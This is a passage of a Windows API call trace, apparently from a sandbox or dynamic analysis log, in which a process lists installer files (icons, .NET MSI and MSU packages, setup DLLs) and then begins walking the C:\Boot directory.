	[0061.072] FindNextFileW (in: hFindFile=0x5e04b0, lpFindFileData=0x389f800 | out: lpFindFileData=0x389f800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xbd82ba00, ftCreationTime.dwHighDateTime=0x1ca2a28, ftLastAccessTime.dwLowDateTime=0xbd82ba00, ftLastAccessTime.dwHighDateTime=0x1ca2a28, ftLastWriteTime.dwLowDateTime=0xbd82ba00, ftLastWriteTime.dwHighDateTime=0x1ca2a28, nFileSizeHigh=0x0, nFileSizeLow=0x47e, dwReserved0=0x0, dwReserved1=0x0, cFileName="Print.ico", cAlternateFileName="")) returned 1
	[0061.072] FindNextFileW (in: hFindFile=0x5e04b0, lpFindFileData=0x389f800 | out: lpFindFileData=0x389f800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xbd82ba00, ftCreationTime.dwHighDateTime=0x1ca2a28, ftLastAccessTime.dwLowDateTime=0xbd82ba00, ftLastAccessTime.dwHighDateTime=0x1ca2a28, ftLastWriteTime.dwLowDateTime=0xbd82ba00, ftLastWriteTime.dwHighDateTime=0x1ca2a28, nFileSizeHigh=0x0, nFileSizeLow=0x37e, dwReserved0=0x0, dwReserved1=0x0, cFileName="Rotate1.ico", cAlternateFileName="")) returned 1
	[0061.073] FindNextFileW (in: hFindFile=0x5e04b0, lpFindFileData=0x389f800 | out: lpFindFileData=0x389f800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xbd82ba00, ftCreationTime.dwHighDateTime=0x1ca2a28, ftLastAccessTime.dwLowDateTime=0xbd82ba00, ftLastAccessTime.dwHighDateTime=0x1ca2a28, ftLastWriteTime.dwLowDateTime=0xbd82ba00, ftLastWriteTime.dwHighDateTime=0x1ca2a28, nFileSizeHigh=0x0, nFileSizeLow=0x37e, dwReserved0=0x0, dwReserved1=0x0, cFileName="Rotate2.ico", cAlternateFileName="")) returned 1
	[0061.073] FindNextFileW (in: hFindFile=0x5e04b0, lpFindFileData=0x389f800 | out: lpFindFileData=0x389f800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xbd82ba00, ftCreationTime.dwHighDateTime=0x1ca2a28, ftLastAccessTime.dwLowDateTime=0xbd82ba00, ftLastAccessTime.dwHighDateTime=0x1ca2a28, ftLastWriteTime.dwLowDateTime=0xbd82ba00, ftLastWriteTime.dwHighDateTime=0x1ca2a28, nFileSizeHigh=0x0, nFileSizeLow=0x37e, dwReserved0=0x0, dwReserved1=0x0, cFileName="Rotate3.ico", cAlternateFileName="")) returned 1
	[0061.073] FindNextFileW (in: hFindFile=0x5e04b0, lpFindFileData=0x389f800 | out: lpFindFileData=0x389f800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xbd82ba00, ftCreationTime.dwHighDateTime=0x1ca2a28, ftLastAccessTime.dwLowDateTime=0xbd82ba00, ftLastAccessTime.dwHighDateTime=0x1ca2a28, ftLastWriteTime.dwLowDateTime=0xbd82ba00, ftLastWriteTime.dwHighDateTime=0x1ca2a28, nFileSizeHigh=0x0, nFileSizeLow=0x37e, dwReserved0=0x0, dwReserved1=0x0, cFileName="Rotate4.ico", cAlternateFileName="")) returned 1
	[0061.073] FindNextFileW (in: hFindFile=0x5e04b0, lpFindFileData=0x389f800 | out: lpFindFileData=0x389f800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xbd82ba00, ftCreationTime.dwHighDateTime=0x1ca2a28, ftLastAccessTime.dwLowDateTime=0xbd82ba00, ftLastAccessTime.dwHighDateTime=0x1ca2a28, ftLastWriteTime.dwLowDateTime=0xbd82ba00, ftLastWriteTime.dwHighDateTime=0x1ca2a28, nFileSizeHigh=0x0, nFileSizeLow=0x37e, dwReserved0=0x0, dwReserved1=0x0, cFileName="Rotate5.ico", cAlternateFileName="")) returned 1
	[0061.073] FindNextFileW (in: hFindFile=0x5e04b0, lpFindFileData=0x389f800 | out: lpFindFileData=0x389f800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xbd82ba00, ftCreationTime.dwHighDateTime=0x1ca2a28, ftLastAccessTime.dwLowDateTime=0xbd82ba00, ftLastAccessTime.dwHighDateTime=0x1ca2a28, ftLastWriteTime.dwLowDateTime=0xbd82ba00, ftLastWriteTime.dwHighDateTime=0x1ca2a28, nFileSizeHigh=0x0, nFileSizeLow=0x37e, dwReserved0=0x0, dwReserved1=0x0, cFileName="Rotate6.ico", cAlternateFileName="")) returned 1
	[0061.073] FindNextFileW (in: hFindFile=0x5e04b0, lpFindFileData=0x389f800 | out: lpFindFileData=0x389f800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xbd82ba00, ftCreationTime.dwHighDateTime=0x1ca2a28, ftLastAccessTime.dwLowDateTime=0xbd82ba00, ftLastAccessTime.dwHighDateTime=0x1ca2a28, ftLastWriteTime.dwLowDateTime=0xbd82ba00, ftLastWriteTime.dwHighDateTime=0x1ca2a28, nFileSizeHigh=0x0, nFileSizeLow=0x37e, dwReserved0=0x0, dwReserved1=0x0, cFileName="Rotate7.ico", cAlternateFileName="")) returned 1
	[0061.074] FindNextFileW (in: hFindFile=0x5e04b0, lpFindFileData=0x389f800 | out: lpFindFileData=0x389f800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xbd82ba00, ftCreationTime.dwHighDateTime=0x1ca2a28, ftLastAccessTime.dwLowDateTime=0xbd82ba00, ftLastAccessTime.dwHighDateTime=0x1ca2a28, ftLastWriteTime.dwLowDateTime=0xbd82ba00, ftLastWriteTime.dwHighDateTime=0x1ca2a28, nFileSizeHigh=0x0, nFileSizeLow=0x37e, dwReserved0=0x0, dwReserved1=0x0, cFileName="Rotate8.ico", cAlternateFileName="")) returned 1
	[0061.074] FindNextFileW (in: hFindFile=0x5e04b0, lpFindFileData=0x389f800 | out: lpFindFileData=0x389f800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xbd82ba00, ftCreationTime.dwHighDateTime=0x1ca2a28, ftLastAccessTime.dwLowDateTime=0xbd82ba00, ftLastAccessTime.dwHighDateTime=0x1ca2a28, ftLastWriteTime.dwLowDateTime=0xbd82ba00, ftLastWriteTime.dwHighDateTime=0x1ca2a28, nFileSizeHigh=0x0, nFileSizeLow=0x47e, dwReserved0=0x0, dwReserved1=0x0, cFileName="Save.ico", cAlternateFileName="")) returned 1
	[0061.074] FindNextFileW (in: hFindFile=0x5e04b0, lpFindFileData=0x389f800 | out: lpFindFileData=0x389f800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xbd82ba00, ftCreationTime.dwHighDateTime=0x1ca2a28, ftLastAccessTime.dwLowDateTime=0xbd82ba00, ftLastAccessTime.dwHighDateTime=0x1ca2a28, ftLastWriteTime.dwLowDateTime=0xbd82ba00, ftLastWriteTime.dwHighDateTime=0x1ca2a28, nFileSizeHigh=0x0, nFileSizeLow=0x8f66, dwReserved0=0x0, dwReserved1=0x0, cFileName="Setup.ico", cAlternateFileName="")) returned 1
	[0061.074] FindNextFileW (in: hFindFile=0x5e04b0, lpFindFileData=0x389f800 | out: lpFindFileData=0x389f800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x5b5e7f00, ftCreationTime.dwHighDateTime=0x1ca927c, ftLastAccessTime.dwLowDateTime=0x5b5e7f00, ftLastAccessTime.dwHighDateTime=0x1ca927c, ftLastWriteTime.dwLowDateTime=0x5b5e7f00, ftLastWriteTime.dwHighDateTime=0x1ca927c, nFileSizeHigh=0x0, nFileSizeLow=0x2796, dwReserved0=0x0, dwReserved1=0x0, cFileName="stop.ico", cAlternateFileName="")) returned 1
	[0061.074] FindNextFileW (in: hFindFile=0x5e04b0, lpFindFileData=0x389f800 | out: lpFindFileData=0x389f800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xbd82ba00, ftCreationTime.dwHighDateTime=0x1ca2a28, ftLastAccessTime.dwLowDateTime=0xbd82ba00, ftLastAccessTime.dwHighDateTime=0x1ca2a28, ftLastWriteTime.dwLowDateTime=0xbd82ba00, ftLastWriteTime.dwHighDateTime=0x1ca2a28, nFileSizeHigh=0x0, nFileSizeLow=0x47e, dwReserved0=0x0, dwReserved1=0x0, cFileName="SysReqMet.ico", cAlternateFileName="SYSREQ~1.ICO")) returned 1
	[0061.074] FindNextFileW (in: hFindFile=0x5e04b0, lpFindFileData=0x389f800 | out: lpFindFileData=0x389f800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xbd82ba00, ftCreationTime.dwHighDateTime=0x1ca2a28, ftLastAccessTime.dwLowDateTime=0xbd82ba00, ftLastAccessTime.dwHighDateTime=0x1ca2a28, ftLastWriteTime.dwLowDateTime=0xbd82ba00, ftLastWriteTime.dwHighDateTime=0x1ca2a28, nFileSizeHigh=0x0, nFileSizeLow=0x47e, dwReserved0=0x0, dwReserved1=0x0, cFileName="SysReqNotMet.ico", cAlternateFileName="SYSREQ~2.ICO")) returned 1
	[0061.075] FindNextFileW (in: hFindFile=0x5e04b0, lpFindFileData=0x389f800 | out: lpFindFileData=0x389f800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xbd82ba00, ftCreationTime.dwHighDateTime=0x1ca2a28, ftLastAccessTime.dwLowDateTime=0xbd82ba00, ftLastAccessTime.dwHighDateTime=0x1ca2a28, ftLastWriteTime.dwLowDateTime=0xbd82ba00, ftLastWriteTime.dwHighDateTime=0x1ca2a28, nFileSizeHigh=0x0, nFileSizeLow=0x2796, dwReserved0=0x0, dwReserved1=0x0, cFileName="warn.ico", cAlternateFileName="")) returned 1
	[0061.075] FindNextFileW (in: hFindFile=0x5e04b0, lpFindFileData=0x389f800 | out: lpFindFileData=0x389f800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xbd82ba00, ftCreationTime.dwHighDateTime=0x1ca2a28, ftLastAccessTime.dwLowDateTime=0xbd82ba00, ftLastAccessTime.dwHighDateTime=0x1ca2a28, ftLastWriteTime.dwLowDateTime=0xbd82ba00, ftLastWriteTime.dwHighDateTime=0x1ca2a28, nFileSizeHigh=0x0, nFileSizeLow=0x2796, dwReserved0=0x0, dwReserved1=0x0, cFileName="warn.ico", cAlternateFileName="")) returned 0
	[0061.075] FindClose (in: hFindFile=0x5e04b0 | out: hFindFile=0x5e04b0) returned 1
	[0061.076] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x4240050 | out: hHeap=0x4f0000) returned 1
	[0061.076] FindNextFileW (in: hFindFile=0x5e0670, lpFindFileData=0x389fa7c | out: lpFindFileData=0x389fa7c*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x87910600, ftCreationTime.dwHighDateTime=0x1ca2a27, ftLastAccessTime.dwLowDateTime=0x87910600, ftLastAccessTime.dwHighDateTime=0x1ca2a27, ftLastWriteTime.dwLowDateTime=0x87910600, ftLastWriteTime.dwHighDateTime=0x1ca2a27, nFileSizeHigh=0x0, nFileSizeLow=0xe2c, dwReserved0=0x0, dwReserved1=0x240000, cFileName="header.bmp", cAlternateFileName="")) returned 1
	[0061.076] FindNextFileW (in: hFindFile=0x5e0670, lpFindFileData=0x389fa7c | out: lpFindFileData=0x389fa7c*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x66ea7e00, ftCreationTime.dwHighDateTime=0x1cac6e3, ftLastAccessTime.dwLowDateTime=0x66ea7e00, ftLastAccessTime.dwHighDateTime=0x1cac6e3, ftLastWriteTime.dwLowDateTime=0x66ea7e00, ftLastWriteTime.dwHighDateTime=0x1cac6e3, nFileSizeHigh=0x0, nFileSizeLow=0xad1384b, dwReserved0=0x0, dwReserved1=0x240000, cFileName="netfx_Core.mzz", cAlternateFileName="NETFX_~1.MZZ")) returned 1
	[0061.076] FindNextFileW (in: hFindFile=0x5e0670, lpFindFileData=0x389fa7c | out: lpFindFileData=0x389fa7c*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xc183da00, ftCreationTime.dwHighDateTime=0x1cac6e3, ftLastAccessTime.dwLowDateTime=0xc183da00, ftLastAccessTime.dwHighDateTime=0x1cac6e3, ftLastWriteTime.dwLowDateTime=0xc183da00, ftLastWriteTime.dwHighDateTime=0x1cac6e3, nFileSizeHigh=0x0, nFileSizeLow=0x1d0200, dwReserved0=0x0, dwReserved1=0x240000, cFileName="netfx_Core_x64.msi", cAlternateFileName="NETFX_~1.MSI")) returned 1
	[0061.076] FindNextFileW (in: hFindFile=0x5e0670, lpFindFileData=0x389fa7c | out: lpFindFileData=0x389fa7c*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x4c130c00, ftCreationTime.dwHighDateTime=0x1cac6d9, ftLastAccessTime.dwLowDateTime=0x4c130c00, ftLastAccessTime.dwHighDateTime=0x1cac6d9, ftLastWriteTime.dwLowDateTime=0x4c130c00, ftLastWriteTime.dwHighDateTime=0x1cac6d9, nFileSizeHigh=0x0, nFileSizeLow=0x11c000, dwReserved0=0x0, dwReserved1=0x240000, cFileName="netfx_Core_x86.msi", cAlternateFileName="NETFX_~2.MSI")) returned 1
	[0061.076] FindNextFileW (in: hFindFile=0x5e0670, lpFindFileData=0x389fa7c | out: lpFindFileData=0x389fa7c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf74cd515, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf74cd515, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf7cd9415, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x29222c7, dwReserved0=0x0, dwReserved1=0x240000, cFileName="netfx_Extended.mzz", cAlternateFileName="NETFX_~2.MZZ")) returned 1
	[0061.077] FindNextFileW (in: hFindFile=0x5e0670, lpFindFileData=0x389fa7c | out: lpFindFileData=0x389fa7c*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x2dbe0800, ftCreationTime.dwHighDateTime=0x1cac6fb, ftLastAccessTime.dwLowDateTime=0x2dbe0800, ftLastAccessTime.dwHighDateTime=0x1cac6fb, ftLastWriteTime.dwLowDateTime=0x2dbe0800, ftLastWriteTime.dwHighDateTime=0x1cac6fb, nFileSizeHigh=0x0, nFileSizeLow=0xd5000, dwReserved0=0x0, dwReserved1=0x240000, cFileName="netfx_Extended_x64.msi", cAlternateFileName="NETFX_~3.MSI")) returned 1
	[0061.077] FindNextFileW (in: hFindFile=0x5e0670, lpFindFileData=0x389fa7c | out: lpFindFileData=0x389fa7c*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x7626f700, ftCreationTime.dwHighDateTime=0x1cac6f6, ftLastAccessTime.dwLowDateTime=0x7626f700, ftLastAccessTime.dwHighDateTime=0x1cac6f6, ftLastWriteTime.dwLowDateTime=0x7626f700, ftLastWriteTime.dwHighDateTime=0x1cac6f6, nFileSizeHigh=0x0, nFileSizeLow=0x79000, dwReserved0=0x0, dwReserved1=0x240000, cFileName="netfx_Extended_x86.msi", cAlternateFileName="NETFX_~4.MSI")) returned 1
	[0061.228] FindNextFileW (in: hFindFile=0x5e0670, lpFindFileData=0x389fa7c | out: lpFindFileData=0x389fa7c*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x4a0f7400, ftCreationTime.dwHighDateTime=0x1cac6fe, ftLastAccessTime.dwLowDateTime=0x4a0f7400, ftLastAccessTime.dwHighDateTime=0x1cac6fe, ftLastWriteTime.dwLowDateTime=0x4a0f7400, ftLastWriteTime.dwHighDateTime=0x1cac6fe, nFileSizeHigh=0x0, nFileSizeLow=0x426ae, dwReserved0=0x0, dwReserved1=0x240000, cFileName="ParameterInfo.xml", cAlternateFileName="PARAME~1.XML")) returned 1
	[0061.228] FindNextFileW (in: hFindFile=0x5e0670, lpFindFileData=0x389fa7c | out: lpFindFileData=0x389fa7c*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x19dedd00, ftCreationTime.dwHighDateTime=0x1ca2a1b, ftLastAccessTime.dwLowDateTime=0x19dedd00, ftLastAccessTime.dwHighDateTime=0x1ca2a1b, ftLastWriteTime.dwLowDateTime=0x19dedd00, ftLastWriteTime.dwHighDateTime=0x1ca2a1b, nFileSizeHigh=0x0, nFileSizeLow=0x2d200, dwReserved0=0x0, dwReserved1=0x240000, cFileName="RGB9RAST_x64.msi", cAlternateFileName="RGB9RA~1.MSI")) returned 1
	[0061.229] FindNextFileW (in: hFindFile=0x5e0670, lpFindFileData=0x389fa7c | out: lpFindFileData=0x389fa7c*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x177c8300, ftCreationTime.dwHighDateTime=0x1ca2a1b, ftLastAccessTime.dwLowDateTime=0x177c8300, ftLastAccessTime.dwHighDateTime=0x1ca2a1b, ftLastWriteTime.dwLowDateTime=0x177c8300, ftLastWriteTime.dwHighDateTime=0x1ca2a1b, nFileSizeHigh=0x0, nFileSizeLow=0x17200, dwReserved0=0x0, dwReserved1=0x240000, cFileName="RGB9Rast_x86.msi", cAlternateFileName="RGB9RA~2.MSI")) returned 1
	[0061.229] FindNextFileW (in: hFindFile=0x5e0670, lpFindFileData=0x389fa7c | out: lpFindFileData=0x389fa7c*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xe40ff600, ftCreationTime.dwHighDateTime=0x1cac6d7, ftLastAccessTime.dwLowDateTime=0xe40ff600, ftLastAccessTime.dwHighDateTime=0x1cac6d7, ftLastWriteTime.dwLowDateTime=0xe40ff600, ftLastWriteTime.dwHighDateTime=0x1cac6d7, nFileSizeHigh=0x0, nFileSizeLow=0x13148, dwReserved0=0x0, dwReserved1=0x240000, cFileName="Setup.exe", cAlternateFileName="")) returned 1
	[0061.229] FindNextFileW (in: hFindFile=0x5e0670, lpFindFileData=0x389fa7c | out: lpFindFileData=0x389fa7c*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xe40ff600, ftCreationTime.dwHighDateTime=0x1cac6d7, ftLastAccessTime.dwLowDateTime=0xe40ff600, ftLastAccessTime.dwHighDateTime=0x1cac6d7, ftLastWriteTime.dwLowDateTime=0xe40ff600, ftLastWriteTime.dwHighDateTime=0x1cac6d7, nFileSizeHigh=0x0, nFileSizeLow=0xc5158, dwReserved0=0x0, dwReserved1=0x240000, cFileName="SetupEngine.dll", cAlternateFileName="SETUPE~1.DLL")) returned 1
	[0061.229] FindNextFileW (in: hFindFile=0x5e0670, lpFindFileData=0x389fa7c | out: lpFindFileData=0x389fa7c*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xe40ff600, ftCreationTime.dwHighDateTime=0x1cac6d7, ftLastAccessTime.dwLowDateTime=0xe40ff600, ftLastAccessTime.dwHighDateTime=0x1cac6d7, ftLastWriteTime.dwLowDateTime=0xe40ff600, ftLastWriteTime.dwHighDateTime=0x1cac6d7, nFileSizeHigh=0x0, nFileSizeLow=0x48150, dwReserved0=0x0, dwReserved1=0x240000, cFileName="SetupUi.dll", cAlternateFileName="")) returned 1
	[0061.229] FindNextFileW (in: hFindFile=0x5e0670, lpFindFileData=0x389fa7c | out: lpFindFileData=0x389fa7c*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x5381000, ftCreationTime.dwHighDateTime=0x1ca5de3, ftLastAccessTime.dwLowDateTime=0x5381000, ftLastAccessTime.dwHighDateTime=0x1ca5de3, ftLastWriteTime.dwLowDateTime=0x5381000, ftLastWriteTime.dwHighDateTime=0x1ca5de3, nFileSizeHigh=0x0, nFileSizeLow=0x75a8, dwReserved0=0x0, dwReserved1=0x240000, cFileName="SetupUi.xsd", cAlternateFileName="")) returned 1
	[0061.229] FindNextFileW (in: hFindFile=0x5e0670, lpFindFileData=0x389fa7c | out: lpFindFileData=0x389fa7c*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x6519be00, ftCreationTime.dwHighDateTime=0x1cac6d5, ftLastAccessTime.dwLowDateTime=0x6519be00, ftLastAccessTime.dwHighDateTime=0x1cac6d5, ftLastWriteTime.dwLowDateTime=0x6519be00, ftLastWriteTime.dwHighDateTime=0x1cac6d5, nFileSizeHigh=0x0, nFileSizeLow=0x17758, dwReserved0=0x0, dwReserved1=0x240000, cFileName="SetupUtility.exe", cAlternateFileName="SETUPU~1.EXE")) returned 1
	[0061.230] FindNextFileW (in: hFindFile=0x5e0670, lpFindFileData=0x389fa7c | out: lpFindFileData=0x389fa7c*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xce333000, ftCreationTime.dwHighDateTime=0x1ca2a28, ftLastAccessTime.dwLowDateTime=0xce333000, ftLastAccessTime.dwHighDateTime=0x1ca2a28, ftLastWriteTime.dwLowDateTime=0xce333000, ftLastWriteTime.dwHighDateTime=0x1ca2a28, nFileSizeHigh=0x0, nFileSizeLow=0xa078, dwReserved0=0x0, dwReserved1=0x240000, cFileName="SplashScreen.bmp", cAlternateFileName="SPLASH~1.BMP")) returned 1
	[0061.230] FindNextFileW (in: hFindFile=0x5e0670, lpFindFileData=0x389fa7c | out: lpFindFileData=0x389fa7c*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x143bc400, ftCreationTime.dwHighDateTime=0x1ca2a28, ftLastAccessTime.dwLowDateTime=0x143bc400, ftLastAccessTime.dwHighDateTime=0x1ca2a28, ftLastWriteTime.dwLowDateTime=0x143bc400, ftLastWriteTime.dwHighDateTime=0x1ca2a28, nFileSizeHigh=0x0, nFileSizeLow=0x23420, dwReserved0=0x0, dwReserved1=0x240000, cFileName="sqmapi.dll", cAlternateFileName="")) returned 1
	[0061.230] FindNextFileW (in: hFindFile=0x5e0670, lpFindFileData=0x389fa7c | out: lpFindFileData=0x389fa7c*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xce333000, ftCreationTime.dwHighDateTime=0x1ca2a28, ftLastAccessTime.dwLowDateTime=0xce333000, ftLastAccessTime.dwHighDateTime=0x1ca2a28, ftLastWriteTime.dwLowDateTime=0xce333000, ftLastWriteTime.dwHighDateTime=0x1ca2a28, nFileSizeHigh=0x0, nFileSizeLow=0x3704, dwReserved0=0x0, dwReserved1=0x240000, cFileName="Strings.xml", cAlternateFileName="")) returned 1
	[0061.230] FindNextFileW (in: hFindFile=0x5e0670, lpFindFileData=0x389fa7c | out: lpFindFileData=0x389fa7c*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x79a6a00, ftCreationTime.dwHighDateTime=0x1ca5de3, ftLastAccessTime.dwLowDateTime=0x79a6a00, ftLastAccessTime.dwHighDateTime=0x1ca5de3, ftLastWriteTime.dwLowDateTime=0x79a6a00, ftLastWriteTime.dwHighDateTime=0x1ca5de3, nFileSizeHigh=0x0, nFileSizeLow=0x97f2, dwReserved0=0x0, dwReserved1=0x240000, cFileName="UiInfo.xml", cAlternateFileName="")) returned 1
	[0061.230] FindNextFileW (in: hFindFile=0x5e0670, lpFindFileData=0x389fa7c | out: lpFindFileData=0x389fa7c*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x87910600, ftCreationTime.dwHighDateTime=0x1ca2a27, ftLastAccessTime.dwLowDateTime=0x87910600, ftLastAccessTime.dwHighDateTime=0x1ca2a27, ftLastWriteTime.dwLowDateTime=0x87910600, ftLastWriteTime.dwHighDateTime=0x1ca2a27, nFileSizeHigh=0x0, nFileSizeLow=0x19688, dwReserved0=0x0, dwReserved1=0x240000, cFileName="watermark.bmp", cAlternateFileName="WATERM~1.BMP")) returned 1
	[0061.231] FindNextFileW (in: hFindFile=0x5e0670, lpFindFileData=0x389fa7c | out: lpFindFileData=0x389fa7c*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x2120bc00, ftCreationTime.dwHighDateTime=0x1cac6c9, ftLastAccessTime.dwLowDateTime=0x2120bc00, ftLastAccessTime.dwHighDateTime=0x1cac6c9, ftLastWriteTime.dwLowDateTime=0x2120bc00, ftLastWriteTime.dwHighDateTime=0x1cac6c9, nFileSizeHigh=0x0, nFileSizeLow=0x4f5113, dwReserved0=0x0, dwReserved1=0x240000, cFileName="Windows6.0-KB956250-v6001-x64.msu", cAlternateFileName="WINDOW~1.MSU")) returned 1
	[0061.231] FindNextFileW (in: hFindFile=0x5e0670, lpFindFileData=0x389fa7c | out: lpFindFileData=0x389fa7c*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x1bbe7400, ftCreationTime.dwHighDateTime=0x1cac6bf, ftLastAccessTime.dwLowDateTime=0x1bbe7400, ftLastAccessTime.dwHighDateTime=0x1cac6bf, ftLastWriteTime.dwLowDateTime=0x1bbe7400, ftLastWriteTime.dwHighDateTime=0x1cac6bf, nFileSizeHigh=0x0, nFileSizeLow=0x217520, dwReserved0=0x0, dwReserved1=0x240000, cFileName="Windows6.0-KB956250-v6001-x86.msu", cAlternateFileName="WINDOW~2.MSU")) returned 1
	[0061.231] FindNextFileW (in: hFindFile=0x5e0670, lpFindFileData=0x389fa7c | out: lpFindFileData=0x389fa7c*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x5b8e5700, ftCreationTime.dwHighDateTime=0x1cac6d1, ftLastAccessTime.dwLowDateTime=0x5b8e5700, ftLastAccessTime.dwHighDateTime=0x1cac6d1, ftLastWriteTime.dwLowDateTime=0x5b8e5700, ftLastWriteTime.dwHighDateTime=0x1cac6d1, nFileSizeHigh=0x0, nFileSizeLow=0x4db1ce, dwReserved0=0x0, dwReserved1=0x240000, cFileName="Windows6.1-KB958488-v6001-x64.msu", cAlternateFileName="WINDOW~3.MSU")) returned 1
	[0061.231] FindNextFileW (in: hFindFile=0x5e0670, lpFindFileData=0x389fa7c | out: lpFindFileData=0x389fa7c*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xd0ac5d00, ftCreationTime.dwHighDateTime=0x1cac6ce, ftLastAccessTime.dwLowDateTime=0xd0ac5d00, ftLastAccessTime.dwHighDateTime=0x1cac6ce, ftLastWriteTime.dwLowDateTime=0xd0ac5d00, ftLastWriteTime.dwHighDateTime=0x1cac6ce, nFileSizeHigh=0x0, nFileSizeLow=0x20acf9, dwReserved0=0x0, dwReserved1=0x240000, cFileName="Windows6.1-KB958488-v6001-x86.msu", cAlternateFileName="WINDOW~4.MSU")) returned 1
	[0061.231] FindNextFileW (in: hFindFile=0x5e0670, lpFindFileData=0x389fa7c | out: lpFindFileData=0x389fa7c*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xd0ac5d00, ftCreationTime.dwHighDateTime=0x1cac6ce, ftLastAccessTime.dwLowDateTime=0xd0ac5d00, ftLastAccessTime.dwHighDateTime=0x1cac6ce, ftLastWriteTime.dwLowDateTime=0xd0ac5d00, ftLastWriteTime.dwHighDateTime=0x1cac6ce, nFileSizeHigh=0x0, nFileSizeLow=0x20acf9, dwReserved0=0x0, dwReserved1=0x240000, cFileName="Windows6.1-KB958488-v6001-x86.msu", cAlternateFileName="WINDOW~4.MSU")) returned 0
	[0061.231] FindClose (in: hFindFile=0x5e0670 | out: hFindFile=0x5e0670) returned 1
	[0061.231] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x3c40080 | out: hHeap=0x4f0000) returned 1
	[0061.231] FindNextFileW (in: hFindFile=0x5e0830, lpFindFileData=0x389fcf8 | out: lpFindFileData=0x389fcf8*(dwFileAttributes=0x16, ftCreationTime.dwLowDateTime=0xc47952ba, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xef6fa258, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xef6fa258, ftLastWriteTime.dwHighDateTime=0x1d3273d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x77bb0000, dwReserved1=0x0, cFileName="Boot", cAlternateFileName="")) returned 1
	[0061.232] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0xfffe) returned 0x3c40080
	[0061.232] FindFirstFileW (in: lpFileName="C:\\Boot\\*", lpFindFileData=0x389fa7c | out: lpFindFileData=0x389fa7c*(dwFileAttributes=0x16, ftCreationTime.dwLowDateTime=0xc47952ba, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xef9d311c, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xef9d311c, ftLastWriteTime.dwHighDateTime=0x1d3273d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName=".", cAlternateFileName="")) returned 0x5e0470
	[0061.233] FindNextFileW (in: hFindFile=0x5e0470, lpFindFileData=0x389fa7c | out: lpFindFileData=0x389fa7c*(dwFileAttributes=0x16, ftCreationTime.dwLowDateTime=0xc47952ba, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xef9d311c, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xef9d311c, ftLastWriteTime.dwHighDateTime=0x1d3273d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="..", cAlternateFileName="")) returned 1
	[0061.233] FindNextFileW (in: hFindFile=0x5e0470, lpFindFileData=0x389fa7c | out: lpFindFileData=0x389fa7c*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0xc4c800b6, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xac3efa99, ftLastAccessTime.dwHighDateTime=0x1d4d5d3, ftLastWriteTime.dwLowDateTime=0xac3efa99, ftLastWriteTime.dwHighDateTime=0x1d4d5d3, nFileSizeHigh=0x0, nFileSizeLow=0xb000, dwReserved0=0x0, dwReserved1=0x240000, cFileName="BCD", cAlternateFileName="")) returned 1
